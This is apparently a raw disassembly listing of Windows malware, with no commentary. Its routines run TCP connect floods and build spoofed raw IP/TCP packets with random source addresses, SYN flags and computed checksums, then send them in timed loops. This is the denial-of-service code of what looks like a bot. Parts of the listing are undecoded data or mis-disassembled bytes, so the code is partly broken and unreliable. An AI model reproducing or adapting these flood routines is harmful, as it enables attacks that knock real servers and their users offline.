dd 0BC75DC7Dh, 95FFE8h, 0DCB99900h, 0F70000FFh, 0FF5242F9h dd 4514F415h, 45896600h, 8DA1EBF2h, 0FFFF5085h, 858D50FFh dd 0FFFFFCCCh, 44BECC68h, 91E85000h, 8300008Ch, 7D390CC4h dd 572075E8h, 0FCCC858Dh, 75FFFFFFh, 858D50E4h, 0FFFFFED0h dd 0CCB5FF50h, 0E8FFFFFEh, 0FFFECE69h, 8D14C483h, 0FFFCCC85h dd 0A4E850FFh, 0FF00001Bh, 50E8E075h, 59FFFF4Ah, 0EDE85759h dd 68FFFBB9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+8] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp-214h] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp-110h] push eax lea eax, [ebp-190h] push eax lea eax, [ebp-210h] push eax call sub_414772 push eax lea eax, [ebp-414h] push offset unk_44BF10 push eax call sub_41D260 xor esi, esi add esp, 18h cmp [ebp-8], esi jnz short loc_414691 push esi lea eax, [ebp-414h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-214h] call sub_40145D add esp, 14h loc_414691: ; CODE XREF: seg000:0041466Fj lea eax, [ebp-414h] push eax call sub_4161A7 push dword ptr [ebp-10h] call sub_40905B pop ecx pop ecx push esi call near ptr 3D0000h into pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146B0 proc near ; CODE XREF: sub_414772+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41D100 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call ds:dword_4514F4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41476E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_4146FB: ; CODE XREF: sub_4146B0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_414703: ; CODE XREF: sub_4146B0+7Aj push 0 push 1 push 2 call ds:dword_4F14E4 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_414726 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_4F14C0 ; ioctlsocket loc_414726: ; CODE XREF: sub_4146B0+64j add esi, 4 dec ebx jnz short loc_414703 lea esi, [ebp+var_654] mov ebx, edi loc_414734: ; CODE XREF: sub_4146B0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call ds:dword_4F14B4 ; connect add esi, 4 dec ebx jnz short loc_414734 push 64h call ds:dword_4F12F4 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_414758: ; CODE XREF: sub_4146B0+B4j push dword ptr [esi] call ds:dword_4F14D0 ; closesocket add esi, 4 dec ebx jnz short loc_414758 dec [ebp+arg_4] jnz short loc_4146FB pop edi pop esi pop ebx loc_41476E: ; CODE XREF: sub_4146B0+3Ej xor eax, eax leave retn sub_4146B0 endp ; =============== S U B R O U T I N E ======================================= sub_414772 proc near ; CODE XREF: seg000:00414650p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_4024FB push [esp+10h+arg_4] mov edi, eax call sub_41D560 push [esp+14h+arg_8] mov ebx, eax call sub_41D560 mov esi, eax push esi push ebx push edi call sub_4146B0 add esp, 18h test eax, eax jnz short loc_4147A8 push 1 pop eax loc_4147A8: ; CODE XREF: sub_414772+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_414772 endp ; --------------------------------------------------------------------------- byte_4147B7 db 55h ; DATA XREF: seg000:00406301o dd 0EC81EC8Bh, 414h, 5608458Bh, 85B957h, 0F08B0000h, 0FDECBD8Dh dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 30Dh dd 0EC858D50h, 68FFFFFBh, 44BF54h, 8A56E850h, 0F6330000h dd 3918C483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h dd 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FECC2CE8h, 14C483FFh dd 0FBEC858Dh, 0E850FFFFh, 1967h, 0E8F075FFh, 0FFFF4813h dd 0E8565959h, 0FFFBB7B0h db 7Dh, 5Fh, 5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414853 proc near ; CODE XREF: seg000:00414B41p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_451464 test eax, eax jz short loc_414893 xor eax, eax jmp loc_414B01 ; --------------------------------------------------------------------------- loc_414893: ; CODE XREF: sub_414853+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_451594 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_414AF9 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call ds:dword_4514D4 cmp eax, 0FFFFFFFFh jz loc_414AEF push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41D100 add esp, 0Ch mov [ebp+var_50], 2 loc_4148E6: ; CODE XREF: sub_414853+104j push [ebp+arg_8] call ds:dword_4514F4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call ds:dword_4514F4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call ds:dword_4514F4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call ds:dword_4514F4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call near ptr 3D0000h js short loc_4148E6 inc ebp clc push eax call near ptr 3D0000h push dword ptr es:[ebp-3Ch] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_420380 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_41497E: ; CODE XREF: sub_414853+25Dj ; sub_414853+26Bj mov [ebp+var_24], bx call sub_41DBA0 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_4514F4 mov [ebp+var_34], ax call sub_41DBA0 mov edi, eax shl edi, 10h call sub_41DBA0 or edi, eax push edi call ds:dword_4514F4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call ds:dword_4514F0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call ds:dword_4514F4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41E840 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41E840 lea eax, [ebp+var_B4] push 34h push eax call sub_402670 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41E840 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41E840 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41D100 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_402670 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41E840 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call ds:dword_451554 cmp eax, 0FFFFFFFFh jz short loc_414AC3 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 3D0000h fmul dword ptr [ebx-39C403BBh] jg short loc_414AEC jl loc_41497E mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414AEC jmp loc_41497E ; --------------------------------------------------------------------------- loc_414AC3: ; CODE XREF: sub_414853+247j call ds:dword_451488 push eax lea eax, [ebp+var_F4] push offset unk_44BF94 push eax call sub_41D260 lea eax, [ebp+var_F4] push eax call sub_4161A7 add esp, 10h jmp short loc_414AEF ; --------------------------------------------------------------------------- loc_414AEC: ; CODE XREF: sub_414853+25Bj ; sub_414853+269j mov ebx, [ebp+arg_8] loc_414AEF: ; CODE XREF: sub_414853+78j ; sub_414853+297j push [ebp+var_C] call ds:dword_451588 pop esi loc_414AF9: ; CODE XREF: sub_414853+5Bj call ds:dword_45144C mov eax, ebx loc_414B01: ; CODE XREF: sub_414853+3Bj pop edi pop ebx leave retn sub_414853 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_4024FB push dword ptr [esp+18h] mov esi, eax call sub_41D560 push dword ptr [esp+20h] mov ebx, eax call sub_41D560 mov edi, eax call sub_41DBA0 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_414853 add esp, 1Ch test eax, eax jnz short loc_414B50 push 1 pop eax loc_414B50: ; CODE XREF: seg000:00414B4Bj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+8] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp-194h] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp-110h] push eax call sub_41D560 pop ecx push eax lea eax, [ebp-190h] push eax call ds:dword_451530 push eax call sub_414C00 push eax lea eax, [ebp-394h] push offset unk_44BFC8 push eax call sub_41D260 xor esi, esi add esp, 14h cmp [ebp-8], esi jnz short loc_414BE1 push esi lea eax, [ebp-394h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-194h] call sub_40145D add esp, 14h loc_414BE1: ; CODE XREF: seg000:00414BBFj lea eax, [ebp-394h] push eax call sub_4161A7 push dword ptr [ebp-10h] call sub_40905B pop ecx pop ecx push esi call near ptr 3D0000h test [edi+5Eh], bl ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C00 proc near ; CODE XREF: seg000:00414BA0p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi call sub_41FD90 pop ecx mov [ebp+var_4], eax push edi push eax call ds:dword_451508 push [ebp+var_4] call ds:dword_451574 mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call ds:dword_451570 lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call ds:dword_4514D4 mov esi, 200h push esi call sub_41AE40 mov edi, ds:dword_4F1340 pop ecx mov [ebp+var_8], eax call edi ; dword_4F1340 mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call ds:dword_4514F4 mov [ebp+var_96], ax loc_414D1B: ; CODE XREF: sub_414C00+1FCj call edi ; dword_4F1340 sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_414E01 call sub_41DBA0 cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call sub_41DBA0 cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call sub_41DBA0 cdq mov ecx, 1FA4h mov [ebp+var_24], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call sub_41DBA0 mov [ebp+var_20], ax call sub_41DBA0 push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call ds:dword_4514F4 push esi mov [ebp+var_1E], ax call ds:dword_4514F4 mov [ebp+var_22], ax mov [ebp+var_1C], bl call sub_41DBA0 push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax call sub_402670 mov [ebp+var_1A], ax lea eax, [ebp+var_24] push 14h push eax push [ebp+var_8] call sub_41E840 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+var_8] push [ebp+var_4] call ds:dword_451554 jmp loc_414D1B ; --------------------------------------------------------------------------- loc_414E01: ; CODE XREF: sub_414C00+12Cj push [ebp+var_8] call sub_41B8B0 pop ecx push [ebp+var_4] call ds:dword_451588 push 1 pop eax pop edi pop esi pop ebx leave retn sub_414C00 endp ; --------------------------------------------------------------------------- byte_414E1B db 55h ; DATA XREF: seg000:00405748o dword_414E1C dd 0EC81EC8Bh, 440h, 5308458Bh, 686A5756h, 8D59F08Bh, 0FFFDC0BDh dd 6AA5F3FFh, 5EDB3301h, 0FF61BD8Dh, 0E6AFFFFh, 19CB089h dd 33590000h, 609D88C0h, 0F3FFFFFFh, 0AAAB66ABh, 13403D8Bh dd 0D7FF004Fh, 8D2AE850h, 68590000h, 0FFh, 26A036Ah, 157015FFh dd 0F8830045h, 0FC4589FFh, 15FF6675h, 451488h, 0C0858D50h dd 68FFFFFBh, 44BFFCh, 83CAE850h, 0C4830000h, 589D390Ch dd 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh dd 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FEC59CE8h, 14C483FFh dd 0FBC0858Dh, 0E850FFFFh, 12D7h, 0FF44B5FFh, 80E8FFFFh dd 59FFFF41h, 1DE85359h, 0A3FFFBB1h, 6ACC4D8Dh, 26A5104h dd 75895053h, 0D415FFCCh, 83004514h, 6675FFF8h, 148815FFh dd 8D500045h, 0FFFBC085h, 0C04868FFh, 0E8500044h, 834Ch dd 390CC483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh, 0B5FFFFFFh dd 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh, 1EE8FFFFh dd 83FFFEC5h, 858D14C4h, 0FFFFFBC0h, 1259E850h, 0B5FF0000h dd 0FFFFFF44h, 0FF4102E8h, 535959FFh, 0FBB09FE8h, 858D22FFh dd 0FFFFFDC4h, 3015FF50h, 83004515h, 5E75FFF8h, 0FBC0858Dh dd 9868FFFFh, 500044C0h, 82DBE8h, 589D3900h, 59FFFFFFh dd 53237559h, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 0AEE8FFFFh, 83FFFEC4h, 858D14C4h dd 0FFFFFBC0h, 11E9E850h, 0B5FF0000h, 0FFFFFF44h, 0FF4092E8h dd 535959FFh, 0FBB02FE8h, 106A64FFh, 53BC458Dh, 8122E850h dd 0C4830000h, 45C7660Ch, 530002BCh, 14F415FFh, 89660045h dd 858DBE45h, 0FFFFFDC4h, 3015FF50h, 89004515h, 5D89C045h dd 89D7FF08h, 0D7FFD045h, 33D0452Bh, 3E8B9D2h, 0F1F70000h dd 0FF4C853Bh, 870FFFFFh, 2AAh, 45C6286Ah, 15FF45D4h, 4514F4h dd 0FF509D39h, 8966FFFFh, 8966D645h, 8966D875h, 45C6DA5Dh dd 45C680DCh, 896606DDh, 2D74DE5Dh, 8B4BE8h, 0C1F08B00h dd 41E808E6h, 300008Bh, 8E6C1F0h, 8B37E8h, 0C1F00300h dd 2DE808E6h, 300008Bh, 89016AF0h, 0EB5EE075h, 0C0B5FF16h dd 0E8FFFFFDh, 0FFFED58Fh, 15FF5059h, 451530h, 8BE04589h dd 9D39C045h, 0FFFFFF48h, 75E44589h, 8AFAE810h, 0B9990000h dd 401h, 0EB52F9F7h, 48B5FF06h, 0FFFFFFFFh, 4514F415h dd 45896600h, 8ADAE8EAh, 0B9990000h, 401h, 0FF52F9F7h dd 4514F415h, 56786800h, 89661234h, 15FFE845h, 4514F0h dd 8DEC4589h, 0FFFE4485h, 0C0D068FFh, 0E8500044h, 8AE8h dd 59C08559h, 5D890974h, 0F545C6F0h, 8D5CEB02h, 0FFFE4485h dd 0C0D468FFh, 0E8500044h, 8AC8h, 59C08559h, 5D890974h dd 0F545C6F0h, 8D3CEB10h, 0FFFE4485h, 0C0D868FFh, 0E8500044h dd 8AA8h, 59C08559h, 5DE82574h, 6A00008Ah, 0F7599903h dd 0F05589F9h, 8A4FE8h, 99026A00h, 0F7F9F759h, 80D21ADAh dd 0D1020EE2h, 68F55588h, 200h, 50F445C6h, 14F415FFh, 89660045h dd 458BF645h, 9C4589E0h, 6AE4458Bh, 5D896614h, 5D8966FAh dd 0A04589F8h, 0C6A45D88h, 0FF06A545h, 4514F415h, 45896600h dd 9C458DA6h, 8D50206Ah, 0FFFF6085h, 91E850FFh, 8D000096h dd 146AE845h, 80458D50h, 9682E850h, 858D0000h, 0FFFFFF60h dd 0E850346Ah, 0FFFED4A4h, 0F8458966h, 6AD4458Dh, 858D5014h dd 0FFFFFF60h, 965EE850h, 458D0000h, 50146AE8h, 0FF74858Dh dd 0E850FFFFh, 964Ch, 458D046Ah, 0E8505388h, 7F00h, 8D44C483h dd 0FFFF6085h, 50286AFFh, 0FED45FE8h, 458966FFh, 0D4458DDEh dd 8D50146Ah, 0FFFF6085h, 19E850FFh, 83000096h, 458D14C4h dd 50106ABCh, 60858D53h, 6AFFFFFFh, 75FF503Ch, 5415FFFCh dd 83004515h, 874FFF8h, 0E90845FFh, 0FFFFFDBAh, 0FFFC75FFh dd 45158815h, 8815FF00h, 50004514h, 0FDC4858Dh, 75FFFFFFh dd 0E0685008h, 8D0044C0h, 0FFFBC085h, 20068FFh, 0E8500000h dd 80E0h, 3918C483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh dd 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh dd 0B2E8FFFFh, 83FFFEC1h, 858D14C4h, 0FFFFFBC0h, 0EEDE850h dd 0B5FF0000h, 0FFFFFF44h, 0FF3D96E8h, 535959FFh, 0FBAD33E8h dd 75FFB8FFh, 8815FFFCh, 8B004515h, 0D2330845h, 8B3CC06Bh dd 0AE8C1C8h, 0FF4CB5F7h, 0E9C1FFFFh, 8D505114h, 0FFFDC485h dd 875FFFFh, 44858D50h, 50FFFFFEh, 0FBC0858Dh, 4868FFFFh dd 500044C1h, 7F4FE8h, 1CC48300h, 0FF589D39h, 2375FFFFh dd 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h dd 0C0B5FF50h, 0E8FFFFFDh, 0FFFEC121h, 8D14C483h, 0FFFBC085h dd 5CE850FFh, 0FF00000Eh, 0FFFF44B5h, 3D05E8FFh, 5959FFFFh dd 0ACA2E853h db 0FBh, 0FFh, 0BBh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41535F proc near ; CODE XREF: seg000:004155FEp ; seg000:0041560Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_41538B mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_41537D: ; CODE XREF: sub_41535F+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_41537D pop edi cmp eax, 1 loc_41538B: ; CODE XREF: sub_41535F+12j jnz short loc_415398 mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_415398: ; CODE XREF: sub_41535F:loc_41538Bj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_41535F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+8] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp-194h] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp-110h] push eax call sub_41D560 pop ecx push eax lea eax, [ebp-190h] push eax call ds:dword_451530 push eax lea esi, [ebp-194h] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call near ptr loc_415465+1 push eax lea eax, [ebp-394h] push offset unk_44C1B0 push eax call sub_41D260 xor esi, esi add esp, 1A8h cmp [ebp-8], esi jnz short loc_415449 push esi lea eax, [ebp-394h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-194h] call sub_40145D add esp, 14h loc_415449: ; CODE XREF: seg000:00415427j lea eax, [ebp-394h] push eax call sub_4161A7 push dword ptr [ebp-10h] call sub_40905B pop ecx pop ecx push esi call near ptr 3D0000h loc_415465: ; CODE XREF: seg000:00415405p adc dl, [ebp-75h] in al, dx sub esp, 0CCh push ebx push esi mov esi, ds:dword_4F1340 xor ebx, ebx push edi mov [ebp-4], ebx call esi ; dword_4F1340 push 0FFh push 3 push 2 mov [ebp-10h], eax call ds:dword_451570 mov [ebp-8], eax call esi ; dword_4F1340 push eax call sub_41DB90 pop ecx mov edi, 578h push edi push 9 push 1 call sub_41801E pop ecx pop ecx push eax lea eax, [ebp-28h] push eax call sub_41D100 add esp, 0Ch mov esi, 5A0h loc_4154C0: ; CODE XREF: seg000:00415699j call ds:dword_4F1340 ; GetTickCount sub eax, [ebp-10h] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+1A0h] ja loc_41569E cmp ds:dword_4E30C0, ebx jnz short loc_41553D push 10h pop eax mov [ebp-14h], eax push eax lea eax, [ebp-68h] push ebx push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-14h] push eax lea eax, [ebp-68h] push eax push dword ptr [ebp+8] call ds:dword_451498 push 0FFh push 1 call sub_41801E push eax movzx eax, byte ptr [ebp-62h] push eax movzx eax, byte ptr [ebp-63h] push eax movzx eax, byte ptr [ebp-64h] push eax lea eax, [ebp-0CCh] push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push eax call sub_41D260 add esp, 20h jmp short loc_415550 ; --------------------------------------------------------------------------- loc_41553D: ; CODE XREF: seg000:004154E4j lea eax, [ebp-0CCh] push offset dword_4E2AA0 push eax call sub_41E550 pop ecx pop ecx loc_415550: ; CODE XREF: seg000:0041553Bj lea eax, [ebp-0CCh] push eax call ds:dword_451530 mov [ebp-0Ch], eax mov eax, [ebp-58h] and al, 45h push esi or al, 45h mov byte ptr [ebp-54h], 10h mov [ebp-58h], eax call ds:dword_4514F4 mov [ebp-52h], ax call sub_41DBA0 mov [ebp-50h], ax mov eax, [ebp-0Ch] mov [ebp-48h], eax mov eax, [ebp+19Ch] mov word ptr [ebp-4Eh], 40h mov byte ptr [ebp-4Ch], 40h mov byte ptr [ebp-4Bh], 6 mov [ebp-4Ah], bx mov [ebp-44h], eax call sub_41DBA0 mov [ebp-40h], ax call sub_41DBA0 mov [ebp-3Eh], ax call sub_41DBA0 mov [ebp-3Ch], eax call sub_41DBA0 mov [ebp-38h], eax mov eax, [ebp-34h] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp-32h], 18h mov [ebp-34h], ax mov ax, [ebp-3Eh] mov [ebp-76h], ax mov eax, [ebp-44h] mov [ebp-74h], eax lea eax, [ebp-58h] push eax mov word ptr [ebp-30h], 787Dh mov [ebp-2Eh], bx mov [ebp-2Ch], bx mov word ptr [ebp-78h], 2 call sub_41535F mov [ebp-4Ah], ax lea eax, [ebp-58h] push 28h push eax call sub_41535F mov eax, [ebp-48h] add esp, 10h mov [ebp-0ACh], eax mov eax, [ebp-44h] push 58Ch mov [ebp-0A8h], eax mov [ebp-0A4h], bl mov byte ptr [ebp-0A3h], 6 call ds:dword_4F14D4 ; ntohs mov [ebp-0A2h], ax lea eax, [ebp-0A0h] push 14h push eax lea eax, [ebp-40h] push eax call sub_41E840 lea eax, [ebp-8Ch] push edi push eax lea eax, [ebp-28h] push eax call sub_41E840 lea eax, [ebp-0ACh] push 598h push eax call sub_41535F add esp, 20h mov [ebp-2Eh], ax push 10h lea eax, [ebp-78h] push eax push ebx lea eax, [ebp-58h] push esi push eax push dword ptr [ebp-8] call ds:dword_451554 inc dword ptr [ebp-4] jmp loc_4154C0 ; --------------------------------------------------------------------------- loc_41569E: ; CODE XREF: seg000:004154D8j push dword ptr [ebp-8] call ds:dword_451588 mov eax, [ebp-4] pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+8] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp-214h] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp-214h] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_415725 push eax lea eax, [ebp-414h] push offset unk_44C208 push eax call sub_41D260 add esp, 220h lea eax, [ebp-414h] push eax call sub_4161A7 push dword ptr [ebp-10h] call sub_40905B pop ecx pop ecx push 0 call near ptr 3D0000h insb ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415725 proc near ; CODE XREF: seg000:004156EAp var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call ds:dword_451570 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_415763 lea eax, [ebp+var_254] push offset unk_44C268 push eax 